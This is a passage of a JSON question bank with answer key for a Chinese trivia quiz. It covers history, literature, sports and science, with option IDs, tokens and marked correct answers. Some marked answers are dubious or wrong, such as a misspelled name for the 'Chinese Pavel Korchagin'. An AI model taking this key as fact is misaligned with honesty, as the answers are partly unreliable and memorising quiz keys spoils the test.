16:47:53","status":"1"},{"questionId":"8701437730","questionIndex":"2","questionStem":"格林童话作者是几个人?","options":"[{\"optionId\":\"I8MSx0BQiDmAnZw5qe8WhkZVxrU9Si860g\",\"optionDesc\":\"三个\"},{\"optionId\":\"I8MSx0BQiDmAnZw5qe8Wh9wp7yWYObnjAw\",\"optionDesc\":\"一个\"},{\"optionId\":\"I8MSx0BQiDmAnZw5qe8WhbGc4HrJInWmPQ\",\"optionDesc\":\"两个\"}]","questionToken":"I8MSx0BQiDmAnZxouqcN18k_HE4sXGsCLLcGKOt4ed37J_w4QacxePgbiV9SGvUxjUqV--MFtnmhD561DmRzeovxOmwuTg","correct":"{\"optionId\":\"I8MSx0BQiDmAnZw5qe8WhbGc4HrJInWmPQ\",\"optionDesc\":\"两个\"}","create_time":"2/2/2021 16:47:50","update_time":"2/2/2021 16:47:50","status":"1"},{"questionId":"8701437741","questionIndex":"3","questionStem":"“中国的保尔柯察金”是谁?","options":"[{\"optionId\":\"I8MSx0BQiDmHnJw5qe8WhihXzG048X9RK1Xg\",\"optionDesc\":\"张海迪\"},{\"optionId\":\"I8MSx0BQiDmHnJw5qe8WhehUE5vx9IJu3AUh\",\"optionDesc\":\"吴运泽\"},{\"optionId\":\"I8MSx0BQiDmHnJw5qe8Wh7Z-WLJRFuBaj2Ae\",\"optionDesc\":\"梁思成\"}]","questionToken":"I8MSx0BQiDmHnJxpuqcN0CrGrOl6UQGzC__AZ4b50UPe3jsJcZiVCGmBRWlF6Yb0mjyyEwaO-VtlmobdkBZl4LtSHrunag","correct":"{\"optionId\":\"I8MSx0BQiDmHnJw5qe8WhehUE5vx9IJu3AUh\",\"optionDesc\":\"吴运泽\"}","create_time":"2/2/2021 16:48:20","update_time":"2/2/2021 16:48:20","status":"1"},{"questionId":"8701437742","questionIndex":"1","questionStem":"我国古代“十恶不赦”首赦是?","options":"[{\"optionId\":\"I8MSx0BQiDmHn5w5qe8Wh01jubTPFQjZF1E\",\"optionDesc\":\"不义\"},{\"optionId\":\"I8MSx0BQiDmHn5w5qe8WhtKy7BLmEh9vy7g\",\"optionDesc\":\"内乱\"},{\"optionId\":\"I8MSx0BQiDmHn5w5qe8WhfSrGEzOzK0wgwM\",\"optionDesc\":\"谋反\"}]","questionToken":"I8MSx0BQiDmHn5xruqcN0AykVgEcBev-PNgiS0tqFuwR3jb3cZukCwmqUAmSmPYUcKlRelSB_HJ90lwex4byhib2yV8TDQ","correct":"{\"optionId\":\"I8MSx0BQiDmHn5w5qe8WhfSrGEzOzK0wgwM\",\"optionDesc\":\"谋反\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"8701437743","questionIndex":"5","questionStem":"“凿壁偷光”出自哪位人物苦学故事?","options":"[{\"optionId\":\"I8MSx0BQiDmHnpw5qe8WhbVDwRwhaZB_D_4F\",\"optionDesc\":\"匡衡\"},{\"optionId\":\"I8MSx0BQiDmHnpw5qe8Wh80ENCM9pA5Ibheq\",\"optionDesc\":\"孙敬\"},{\"optionId\":\"I8MSx0BQiDmHnpw5qe8Whq9ILyQhL0c5xn7N\",\"optionDesc\":\"车胤\"}]","questionToken":"I8MSx0BQiDmHnpxvuqcN1-WonS2812-JesIOJGvGkBSBnIiho2kBThXTU17kZcY7VzQf7x-Tcs4eUl-y9zShUp4YU4Cq9w","correct":"{\"optionId\":\"I8MSx0BQiDmHnpw5qe8WhbVDwRwhaZB_D_4F\",\"optionDesc\":\"匡衡\"}","create_time":"2/2/2021 16:47:59","update_time":"2/2/2021 16:47:59","status":"1"},{"questionId":"8701437744","questionIndex":"4","questionStem":"古代对“六十岁”年龄的人称呼是?","options":"[{\"optionId\":\"I8MSx0BQiDmHmZw5qe8WhikaVMUZh8k70iimUA\",\"optionDesc\":\"知天命\"},{\"optionId\":\"I8MSx0BQiDmHmZw5qe8Wh-j2hYQgnoHa33OXng\",\"optionDesc\":\"不惑\"},{\"optionId\":\"I8MSx0BQiDmHmZw5qe8WhY6RDbNsBuESXcbX7A\",\"optionDesc\":\"花甲\"}]","questionToken":"I8MSx0BQiDmHmZxuuqcN0MoOFuyA5U2MHAIdTsboqn1nGTCN2lLlpJ80nG_b8GBk_-GuCBuLphuNIYbnquD2oyuwsdWEVg","correct":"{\"optionId\":\"I8MSx0BQiDmHmZw5qe8WhY6RDbNsBuESXcbX7A\",\"optionDesc\":\"花甲\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"8701437745","questionIndex":"5","questionStem":"不属于世界四大通讯社之一的是?","options":"[{\"optionId\":\"I8MSx0BQiDmHmJw5qe8WhgClF4AzLykZb1Df\",\"optionDesc\":\"美联社\"},{\"optionId\":\"I8MSx0BQiDmHmJw5qe8WhxYxlTldE0AouRA6\",\"optionDesc\":\"法新社\"},{\"optionId\":\"I8MSx0BQiDmHmJw5qe8WhST0hcqGcVtmQHmW\",\"optionDesc\":\"塔斯社\"}]","questionToken":"I8MSx0BQiDmHmJxvuqcN0J29dtkDrJJPK4fCi4d-A_bX6E3mO3dGE7InZktTb3-4f8bIDfJmvC70Zpssln4OtnYujCyCXg","correct":"{\"optionId\":\"I8MSx0BQiDmHmJw5qe8WhST0hcqGcVtmQHmW\",\"optionDesc\":\"塔斯社\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 16:47:40","status":"1"},{"questionId":"8701437746","questionIndex":"1","questionStem":"“红娘”由来出自哪部古典名剧?","options":"[{\"optionId\":\"I8MSx0BQiDmHm5w5qe8WhiUPF33oRaCmFZxP\",\"optionDesc\":\"琵琶记\"},{\"optionId\":\"I8MSx0BQiDmHm5w5qe8Wh6cGQg0bRYaZVjAY\",\"optionDesc\":\"桃花扇\"},{\"optionId\":\"I8MSx0BQiDmHm5w5qe8WhShW1s7NVOlQ3_J5\",\"optionDesc\":\"西厢记\"}]","questionToken":"I8MSx0BQiDmHm5xruqcN0KyBMUbGtOgB7bKaRcvfrecJrszAz-O2GJHMgJYOUmvP7F-hGnFTSImiG8mP32JNUTSaCwKquw","correct":"{\"optionId\":\"I8MSx0BQiDmHm5w5qe8WhShW1s7NVOlQ3_J5\",\"optionDesc\":\"西厢记\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"8701437747","questionIndex":"4","questionStem":"我国最早的神话小说?","options":"[{\"optionId\":\"I8MSx0BQiDmHmpw5qe8Wh9JBejHP8cqI5iNc\",\"optionDesc\":\"山海经\"},{\"optionId\":\"I8MSx0BQiDmHmpw5qe8WhR2zoXyt7_ogEAHa\",\"optionDesc\":\"搜神记\"},{\"optionId\":\"I8MSx0BQiDmHmpw5qe8WhnLQv9o0rzHnzpbw\",\"optionDesc\":\"世说新语\"}]","questionToken":"I8MSx0BQiDmHmpxuuqcN1-f9LkacQMWAoXslKuuVtzEpC_SwUYH7NhXyCpGtTY1d3WkQ7XQYK391zFiOrLVx6Zv2FqRUhw","correct":"{\"optionId\":\"I8MSx0BQiDmHmpw5qe8WhR2zoXyt7_ogEAHa\",\"optionDesc\":\"搜神记\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"8701437748","questionIndex":"2","questionStem":"“念慈”是古代对对方亲属哪一位尊称?","options":"[{\"optionId\":\"I8MSx0BQiDmHlZw5qe8Wh5zaxD7wIGCoJ8BD\",\"optionDesc\":\"父亲\"},{\"optionId\":\"I8MSx0BQiDmHlZw5qe8Whnw2ytHNaN4iM4LD\",\"optionDesc\":\"伯父\"},{\"optionId\":\"I8MSx0BQiDmHlZw5qe8WhQTT_FptMFrlfPe1\",\"optionDesc\":\"母亲\"}]","questionToken":"I8MSx0BQiDmHlZxouqcN1zhyaPhSHMif06OS4mANtqSrBxdmEFW4FqktAYURguReLOgALiOMLKK3xd0M2qpZfGG9ud1Ftw","correct":"{\"optionId\":\"I8MSx0BQiDmHlZw5qe8WhQTT_FptMFrlfPe1\",\"optionDesc\":\"母亲\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"8701437749","questionIndex":"1","questionStem":"哪个国家一般不准女性在生人面前露面?","options":"[{\"optionId\":\"I8MSx0BQiDmHlJw5qe8WhgXPO_I87CcD0VI\",\"optionDesc\":\"印度\"},{\"optionId\":\"I8MSx0BQiDmHlJw5qe8Wh1C47z6ELwMIsgU\",\"optionDesc\":\"印尼\"},{\"optionId\":\"I8MSx0BQiDmHlJw5qe8WhVPLt_Kp8UtPvQw\",\"optionDesc\":\"沙特阿拉伯\"}]","questionToken":"I8MSx0BQiDmHlJxruqcN131iAOPPBqJRuPufVFt9Ir6DXF2D4FDaN-ZcgDL4Zjn3mBLvpVp5265AiZQ1DOzj2woMa9vxYg","correct":"{\"optionId\":\"I8MSx0BQiDmHlJw5qe8WhVPLt_Kp8UtPvQw\",\"optionDesc\":\"沙特阿拉伯\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"8701437750","questionIndex":"1","questionStem":"女子游泳衣称“比基尼”源于什么名?","options":"[{\"optionId\":\"I8MSx0BQiDmGnZw5qe8WhrfMnrUgSP9c3WKgJA\",\"optionDesc\":\"模特\"},{\"optionId\":\"I8MSx0BQiDmGnZw5qe8WhTMOhXF12qQfCQbjgA\",\"optionDesc\":\"小岛\"},{\"optionId\":\"I8MSx0BQiDmGnZw5qe8Wh5bqKhd0NSSSWIHx-Q\",\"optionDesc\":\"设计师\"}]","questionToken":"I8MSx0BQiDmGnZxruqcN0M0PdDyX_ABsWoABQVdLPAY2ZNgQs2qE5ujbbcwNu5eFk0D4JcEFmb-bK8Sws_heRNKCx2HIRA","correct":"{\"optionId\":\"I8MSx0BQiDmGnZw5qe8WhTMOhXF12qQfCQbjgA\",\"optionDesc\":\"小岛\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"8701437751","questionIndex":"4","questionStem":"高尔夫球运动场上共有多少个球洞?","options":"[{\"optionId\":\"I8MSx0BQiDmGnJw5qe8Whs0eHv04zWZOeWXH\",\"optionDesc\":\"20个\"},{\"optionId\":\"I8MSx0BQiDmGnJw5qe8Wh-0SyRckF1yhd3U2\",\"optionDesc\":\"21个\"},{\"optionId\":\"I8MSx0BQiDmGnJw5qe8WhdeRgVlD0SuAFKbi\",\"optionDesc\":\"18个\"}]","questionToken":"I8MSx0BQiDmGnJxuuqcN0AGs5OsaOkLu6hGX3uqKmGuacEchhOzk8RPDykzaGwu-U-QuBIrETuU2X6W2rysQemUa8Wv8Jw","correct":"{\"optionId\":\"I8MSx0BQiDmGnJw5qe8WhdeRgVlD0SuAFKbi\",\"optionDesc\":\"18个\"}","create_time":"2/2/2021 16:47:42","update_time":"2/2/2021 16:47:42","status":"1"},{"questionId":"8701437752","questionIndex":"4","questionStem":"围棋共有多少个棋子?","options":"[{\"optionId\":\"I8MSx0BQiDmGn5w5qe8Wh4DaQlLCYIa3a5Wh\",\"optionDesc\":\"363个\"},{\"optionId\":\"I8MSx0BQiDmGn5w5qe8WhR3Z1GzFy2CmFT-X\",\"optionDesc\":\"361个\"},{\"optionId\":\"I8MSx0BQiDmGn5w5qe8WhhaIIfPkyJJwxN_w\",\"optionDesc\":\"360个\"}]","questionToken":"I8MSx0BQiDmGn5xuuqcN16eRfvqiJLgnY_esbgjTcynVRqUFtOmRjkUz3bkylpXfldY0gfSmCvrVEAG4Ee61PNrli3LrXQ","correct":"{\"optionId\":\"I8MSx0BQiDmGn5w5qe8WhR3Z1GzFy2CmFT-X\",\"optionDesc\":\"361个\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 16:47:38","status":"1"},{"questionId":"8701437753","questionIndex":"2","questionStem":"名言“生命在于运动”是谁说的?","options":"[{\"optionId\":\"I8MSx0BQiDmGnpw5qe8WhnlPQuoSu99ld_w\",\"optionDesc\":\"契科夫\"},{\"optionId\":\"I8MSx0BQiDmGnpw5qe8WhdFjgXLkv20ceaY\",\"optionDesc\":\"伏尔泰\"},{\"optionId\":\"I8MSx0BQiDmGnpw5qe8Wh0m2vsMh2gqqABg\",\"optionDesc\":\"普希金\"}]","questionToken":"I8MSx0BQiDmGnpxouqcN0LdG9Vo9SQsG1JEmS3JH9gVajG9HG919pG2Rj3EjOfg6hQ71tMz2-wZwKGgBmGrguUB_jt5IiQ","correct":"{\"optionId\":\"I8MSx0BQiDmGnpw5qe8WhdFjgXLkv20ceaY\",\"optionDesc\":\"伏尔泰\"}","create_time":"2/2/2021 16:47:30","update_time":"2/2/2021 16:47:30","status":"1"},{"questionId":"8701437758","questionIndex":"4","questionStem":"曲棍球每半场的时间是多少分钟?","options":"[{\"optionId\":\"I8MSx0BQiDmGlZw5qe8Whee6JoT-J31AO_E\",\"optionDesc\":\"40分钟\"},{\"optionId\":\"I8MSx0BQiDmGlZw5qe8WhqGIdJTaCsLI9BA\",\"optionDesc\":\"45分钟\"},{\"optionId\":\"I8MSx0BQiDmGlZw5qe8Wh5EHMpNS7Fwshtk\",\"optionDesc\":\"50分钟\"}]","questionToken":"I8MSx0BQiDmGlZxuuqcN1-UO3KUfAIpKt4BU4L5qURGz_qqiA_7Ao5_tA4IbrWhMqYkhwDUCHqLWpGY2YxiN_MxSnEgqrQ","correct":"{\"optionId\":\"I8MSx0BQiDmGlZw5qe8Whee6JoT-J31AO_E\",\"optionDesc\":\"40分钟\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"8701437759","questionIndex":"4","questionStem":"迷踪拳的创始人是哪位武术家?","options":"[{\"optionId\":\"I8MSx0BQiDmGlJw5qe8WhpV0Vbofg8D7lBC24A\",\"optionDesc\":\"张长兴\"},{\"optionId\":\"I8MSx0BQiDmGlJw5qe8WhWX5ndilqQx0cGoSnA\",\"optionDesc\":\"霍元甲\"},{\"optionId\":\"I8MSx0BQiDmGlJw5qe8Whxk0M2lFPjnFw6GI3g\",\"optionDesc\":\"董海川\"}]","questionToken":"I8MSx0BQiDmGlJxuuqcN0Bo5VpGaqkNHZqRx4QC8bj18gzZfE_IM7M-Tzu6iq2zj1fDKFgIpY-c6eypQLuA6fc3ylyD21g","correct":"{\"optionId\":\"I8MSx0BQiDmGlJw5qe8WhWX5ndilqQx0cGoSnA\",\"optionDesc\":\"霍元甲\"}","create_time":"2/2/2021 16:48:54","update_time":"2/2/2021 16:48:54","status":"1"},{"questionId":"8701437760","questionIndex":"1","questionStem":"世界上第一个成文法典?","options":"[{\"optionId\":\"I8MSx0BQiDmFnZw5qe8Whjzho1GhfCiC2w\",\"optionDesc\":\"《法经》\"},{\"optionId\":\"I8MSx0BQiDmFnZw5qe8WhcPiMIBBzib0Bw\",\"optionDesc\":\"《乌尔纳姆法典》\"},{\"optionId\":\"I8MSx0BQiDmFnZw5qe8Wh2ngSdpT7-uPsQ\",\"optionDesc\":\"《汉莫拉比法典》\"}]","questionToken":"I8MSx0BQiDmFnZxruqcN1xeva4eH2y5zqg2vo8RjNEwUQH2Jb6lVZKAtmrgT8ly338PQosq5dOSWh4dwmYiqKnDlr-eCYw","correct":"{\"optionId\":\"I8MSx0BQiDmFnZw5qe8WhcPiMIBBzib0Bw\",\"optionDesc\":\"《乌尔纳姆法典》\"}","create_time":"2/2/2021 16:47:50","update_time":"2/2/2021 16:47:50","status":"1"},{"questionId":"8701437761","questionIndex":"5","questionStem":"国际法庭设在什么地方?","options":"[{\"optionId\":\"I8MSx0BQiDmFnJw5qe8Wh6gSMioX9eSzP8BY\",\"optionDesc\":\"瑞士\"},{\"optionId\":\"I8MSx0BQiDmFnJw5qe8WhsoPIFzIh-Wa8Tkc\",\"optionDesc\":\"美国\"},{\"optionId\":\"I8MSx0BQiDmFnJw5qe8WhWlWsr_1zCn-h3IE\",\"optionDesc\":\"荷兰\"}]","questionToken":"I8MSx0BQiDmFnJxvuqcN0K5YWxYiAkzAYyYQbP3uVR8ICgp2C1JPfhUhqPfGpOQS5RCPrrWe0HnL94MA82UbRuuqGnEfgg","correct":"{\"optionId\":\"I8MSx0BQiDmFnJw5qe8WhWlWsr_1zCn-h3IE\",\"optionDesc\":\"荷兰\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"8701437762","questionIndex":"4","questionStem":"我国目前把空气质量分为几个级别?","options":"[{\"optionId\":\"I8MSx0BQiDmFn5w5qe8WhR6NXTU1rnXFzX3k\",\"optionDesc\":\"5个\"},{\"optionId\":\"I8MSx0BQiDmFn5w5qe8WhzGkVSB6RpeOpT85\",\"optionDesc\":\"3个\"},{\"optionId\":\"I8MSx0BQiDmFn5w5qe8Whh9m3Kg6LJPWI7AH\",\"optionDesc\":\"4个\"}]","questionToken":"I8MSx0BQiDmFn5xuuqcN11EMQ-Vai7RDDLZgJ8siRnVZr-dA4DIeQoZ5RK1iYd2uX-VRbJcRLRQHniMmn4KGwH67Iv9-kw","correct":"{\"optionId\":\"I8MSx0BQiDmFn5w5qe8WhR6NXTU1rnXFzX3k\",\"optionDesc\":\"5个\"}","create_time":"2/2/2021 16:47:41","update_time":"2/2/2021 16:47:41","status":"1"},{"questionId":"8701437763","questionIndex":"4","questionStem":"哪项运动被誉为“体育运动之母”?","options":"[{\"optionId\":\"I8MSx0BQiDmFnpw5qe8WhnJLNwvNVSc7zMQ\",\"optionDesc\":\"游泳\"},{\"optionId\":\"I8MSx0BQiDmFnpw5qe8WhYp5NqX6ZSM_7ek\",\"optionDesc\":\"田径\"},{\"optionId\":\"I8MSx0BQiDmFnpw5qe8Wh2Z9jBIwOd-Jw5I\",\"optionDesc\":\"摔跤\"}]","questionToken":"I8MSx0BQiDmFnpxuuqcN1zHuXZv_eQ3shpJBWwmZNJm7yhYdtXzljQahEr7MX72da6ehRAZMXJfMmbpihUkHWQfBpk9C8A","correct":"{\"optionId\":\"I8MSx0BQiDmFnpw5qe8WhYp5NqX6ZSM_7ek\",\"optionDesc\":\"田径\"}","create_time":"2/2/2021 16:48:04","update_time":"2/2/2021 16:48:04","status":"1"},{"questionId":"8701437764","questionIndex":"4","questionStem":"下列人物中绰号叫做九纹龙的是?","options":"[{\"optionId\":\"I8MSx0BQiDmFmZw5qe8WhtDi56_F_WIgt1Hj\",\"optionDesc\":\"解珍\"},{\"optionId\":\"I8MSx0BQiDmFmZw5qe8WhTRZPxWR8kHlXgQr\",\"optionDesc\":\"史进\"},{\"optionId\":\"I8MSx0BQiDmFmZw5qe8Wh2AcqrZSM1X1I0N8\",\"optionDesc\":\"柴进\"}]","questionToken":"I8MSx0BQiDmFmZxuuqcN10Ghwz9Uqu_NVpxvu_wIMwcDYWWz_3iHCFCUtyWtKZxXqeDxjYRiZmjAhEJ_fG0HNmkyYDAY3Q","correct":"{\"optionId\":\"I8MSx0BQiDmFmZw5qe8WhTRZPxWR8kHlXgQr\",\"optionDesc\":\"史进\"}","create_time":"2/2/2021 16:47:45","update_time":"2/2/2021 16:47:45","status":"1"},{"questionId":"8701437766","questionIndex":"4","questionStem":"《名侦探柯南》中柯南不擅长的是?","options":"[{\"optionId\":\"I8MSx0BQiDmFm5w5qe8Wh-BV67Dbz6JFVp9r\",\"optionDesc\":\"滑板\"},{\"optionId\":\"I8MSx0BQiDmFm5w5qe8WhZTG69qmpeFkfmFr\",\"optionDesc\":\"唱歌\"},{\"optionId\":\"I8MSx0BQiDmFm5w5qe8WhtwKMK_w9ShXWmrY\",\"optionDesc\":\"足球\"}]","questionToken":"I8MSx0BQiDmFm5xuuqcN0M52Vp9ik6ae_SWOTjZF_MfWO7F3THtit-yt2TVFChSR39V51RCVrVAS5qb7X2-b6hCuRjgOeQ","correct":"{\"optionId\":\"I8MSx0BQiDmFm5w5qe8WhZTG69qmpeFkfmFr\",\"optionDesc\":\"唱歌\"}","create_time":"2/2/2021 16:48:05","update_time":"2/2/2021 16:48:05","status":"1"},{"questionId":"8701437767","questionIndex":"2","questionStem":"下列哪支球队没有获得过总冠军?","options":"[{\"optionId\":\"I8MSx0BQiDmFmpw5qe8Wh1-_dP_ryEJZ1-GA\",\"optionDesc\":\"火箭\"},{\"optionId\":\"I8MSx0BQiDmFmpw5qe8Whb2pFUdfb-eFEeMb\",\"optionDesc\":\"山猫\"},{\"optionId\":\"I8MSx0BQiDmFmpw5qe8WhlQvoOGJkbuoXfej\",\"optionDesc\":\"活塞\"}]","questionToken":"I8MSx0BQiDmFmpxouqcN0ImIcTr7JDowtRpTI18IdNJw6y5jTLcDnIeMbJUk_lQ4Awvn1lgwu_BJ-erTk_Ok2anveJVABw","correct":"{\"optionId\":\"I8MSx0BQiDmFmpw5qe8Whb2pFUdfb-eFEeMb\",\"optionDesc\":\"山猫\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"8701437768","questionIndex":"5","questionStem":"不属于二十四节气的是哪一个?","options":"[{\"optionId\":\"I8MSx0BQiDmFlZw5qe8WhU17MgCJObFr\",\"optionDesc\":\"大伏\"},{\"optionId\":\"I8MSx0BQiDmFlZw5qe8Wh7JmxoQRG77x\",\"optionDesc\":\"谷雨\"},{\"optionId\":\"I8MSx0BQiDmFlZw5qe8WhuGHnWeuWjmv\",\"optionDesc\":\"白露\"}]","questionToken":"I8MSx0BQiDmFlZxvuqcN0Mz1PyJQTPy8Q-AGb31mFo_dT7kCye_OXk5yaX9Op6uNds9KApbnW0wvrk7Az0fT29_JW4MgTQ","correct":"{\"optionId\":\"I8MSx0BQiDmFlZw5qe8WhU17MgCJObFr\",\"optionDesc\":\"大伏\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"8701437769","questionIndex":"2","questionStem":"太阳系的行星中自转速度最快的是?","options":"[{\"optionId\":\"I8MSx0BQiDmFlJw5qe8WhmAigJjWFHDKZ8PjYQ\",\"optionDesc\":\"水星\"},{\"optionId\":\"I8MSx0BQiDmFlJw5qe8Whz32wZKJvVFeKTgdAA\",\"optionDesc\":\"土星\"},{\"optionId\":\"I8MSx0BQiDmFlJw5qe8WhS7UVdTEHt9uWxhGYQ\",\"optionDesc\":\"木星\"}]","questionToken":"I8MSx0BQiDmFlJxouqcN0EKynrRQ6_-m8iJkPEDlmU79Vf5biEDWsdR2wWyfVJr1O9mAUj7c17jANb2J1B5pqzJu5BH0pw","correct":"{\"optionId\":\"I8MSx0BQiDmFlJw5qe8WhS7UVdTEHt9uWxhGYQ\",\"optionDesc\":\"木星\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"8701437770","questionIndex":"2","questionStem":"下列哪种生物不是由细胞构成的?","options":"[{\"optionId\":\"I8MSx0BQiDmEnZw5qe8WhaC6stJdJBVwMT1J\",\"optionDesc\":\"病毒\"},{\"optionId\":\"I8MSx0BQiDmEnZw5qe8Wh3281Qb-tZWYsHKN\",\"optionDesc\":\"鸡蛋\"},{\"optionId\":\"I8MSx0BQiDmEnZw5qe8Whkh1t1PzO_YUFgKF\",\"optionDesc\":\"细菌\"}]","questionToken":"I8MSx0BQiDmEnZxouqcN0L__Ix4RiT_utoX0f76TK2wmIDXJeJ9MFtf9OD0uYTa5ZYOQ5tGTYoc1WMGbG21DEgEwauevVg","correct":"{\"optionId\":\"I8MSx0BQiDmEnZw5qe8WhaC6stJdJBVwMT1J\",\"optionDesc\":\"病毒\"}","create_time":"2/2/2021 16:47:57","update_time":"2/2/2021 16:47:57","status":"1"},{"questionId":"8701437771","questionIndex":"4","questionStem":"马可波罗是在哪一朝代来到中国的?","options":"[{\"optionId\":\"I8MSx0BQiDmEnJw5qe8WhYDl7bT-NvP5dx30\",\"optionDesc\":\"元朝\"},{\"optionId\":\"I8MSx0BQiDmEnJw5qe8WhuIcTPobzbsapFRL\",\"optionDesc\":\"宋朝\"},{\"optionId\":\"I8MSx0BQiDmEnJw5qe8WhxXKaYXoL57ii2Xa\",\"optionDesc\":\"唐朝\"}]","questionToken":"I8MSx0BQiDmEnJxuuqcN154yqCl0iseKUk1EQP9xYididm1vhnlZj_-ir-MXyOLZAukCS2JH5ThirvGTlm7iWA9QL0SmpQ","correct":"{\"optionId\":\"I8MSx0BQiDmEnJw5qe8WhYDl7bT-NvP5dx30\",\"optionDesc\":\"元朝\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"8701437772","questionIndex":"1","questionStem":"生鱼片在日本是用哪两个汉字称呼?","options":"[{\"optionId\":\"I8MSx0BQiDmEn5w5qe8Wh6Dcb3W00dIzvR71\",\"optionDesc\":\"煮物\"},{\"optionId\":\"I8MSx0BQiDmEn5w5qe8WhnxOE70UG2VU9JO3\",\"optionDesc\":\"唐扬\"},{\"optionId\":\"I8MSx0BQiDmEn5w5qe8WhbCXFxYWAYhhQ5su\",\"optionDesc\":\"刺身\"}]","questionToken":"I8MSx0BQiDmEn5xruqcN0AmR-kFWDuusqN2IxtOY24GOuHvde5Q0X89erAQ4p8-LLz7S1ZxsmA9LzM60Nddj-NexFKy5vg","correct":"{\"optionId\":\"I8MSx0BQiDmEn5w5qe8WhbCXFxYWAYhhQ5su\",\"optionDesc\":\"刺身\"}","create_time":"2/2/2021 16:49:19","update_time":"2/2/2021 16:49:19","status":"1"},{"questionId":"8701437773","questionIndex":"5","questionStem":"著名风景区九寨沟位于中国哪个省?","options":"[{\"optionId\":\"I8MSx0BQiDmEnpw5qe8WheluVLcMZ0TSNoE\",\"optionDesc\":\"四川\"},{\"optionId\":\"I8MSx0BQiDmEnpw5qe8WhuVN4dbiVoEToIY\",\"optionDesc\":\"云南\"},{\"optionId\":\"I8MSx0BQiDmEnpw5qe8Why3wkwZqt5vjnKw\",\"optionDesc\":\"重庆\"}]","questionToken":"I8MSx0BQiDmEnpxvuqcN0HrE0iSHY-pvRHK5r-FM0mDrpMIAjDuaIKdgQDMlPD7Dzd3lKIfHw29JlMDsgo8xiT_lC_Yt_g","correct":"{\"optionId\":\"I8MSx0BQiDmEnpw5qe8WheluVLcMZ0TSNoE\",\"optionDesc\":\"四川\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"8701437774","questionIndex":"4","questionStem":"“珍珠”主要是从什么生物生产的?","options":"[{\"optionId\":\"I8MSx0BQiDmEmZw5qe8WhW7N8atkJjX0_6zYGA\",\"optionDesc\":\"牡蛎\"},{\"optionId\":\"I8MSx0BQiDmEmZw5qe8WhueSopUjQVCPl4miVA\",\"optionDesc\":\"扇贝\"},{\"optionId\":\"I8MSx0BQiDmEmZw5qe8Wh9zQpBei5kBxPAMeXA\",\"optionDesc\":\"海葵\"}]","questionToken":"I8MSx0BQiDmEmZxuuqcN12-AqpvR3icVcoHRZc1KHng0_i6Xvk462tUnREIlHoFJcFBBSozLX66g6q68kVNoRZ4Oy9dquQ","correct":"{\"optionId\":\"I8MSx0BQiDmEmZw5qe8WhW7N8atkJjX0_6zYGA\",\"optionDesc\":\"牡蛎\"}","create_time":"2/2/2021 16:48:01","update_time":"2/2/2021 16:48:01","status":"1"},{"questionId":"8701437775","questionIndex":"1","questionStem":"不属于丈夫对妻子雅称的是哪一个?","options":"[{\"optionId\":\"I8MSx0BQiDmEmJw5qe8WhbxJT23042hQN9I\",\"optionDesc\":\"所天\"},{\"optionId\":\"I8MSx0BQiDmEmJw5qe8Wh1j0Yvxn1Nh5DkE\",\"optionDesc\":\"拙荆\"},{\"optionId\":\"I8MSx0BQiDmEmJw5qe8Whu7euPzKVabkku8\",\"optionDesc\":\"内人\"}]","questionToken":"I8MSx0BQiDmEmJxruqcN0MxLwrF1ot_BeChXZ3I5sr-LlHrFqCfz3hw4wfoJzw60wihSEeCxpQe86Kx39hGdkZde5ZtWVA","correct":"{\"optionId\":\"I8MSx0BQiDmEmJw5qe8WhbxJT23042hQN9I\",\"optionDesc\":\"所天\"}","create_time":"2/2/2021 16:47:53","update_time":"2/2/2021 16:47:53","status":"1"},{"questionId":"8701437776","questionIndex":"3","questionStem":"古人所称的汤饼即现在的什么食物?","options":"[{\"optionId\":\"I8MSx0BQiDmEm5w5qe8WhnaacJ6w9-8t6Aa80w\",\"optionDesc\":\"馒头\"},{\"optionId\":\"I8MSx0BQiDmEm5w5qe8WhU1QL9jL3cppStrT5Q\",\"optionDesc\":\"面条\"},{\"optionId\":\"I8MSx0BQiDmEm5w5qe8Wh4Guhgdmx0oafX_rnw\",\"optionDesc\":\"面饼\"}]","questionToken":"I8MSx0BQiDmEm5xpuqcN11LvHueNRPE_NzKAQJHylLHn2NLfGtM_jxOAWOIoQjMvlCc2Ayl7HacmCuyY01E7fBTy0wCDcA","correct":"{\"optionId\":\"I8MSx0BQiDmEm5w5qe8WhU1QL9jL3cppStrT5Q\",\"optionDesc\":\"面条\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 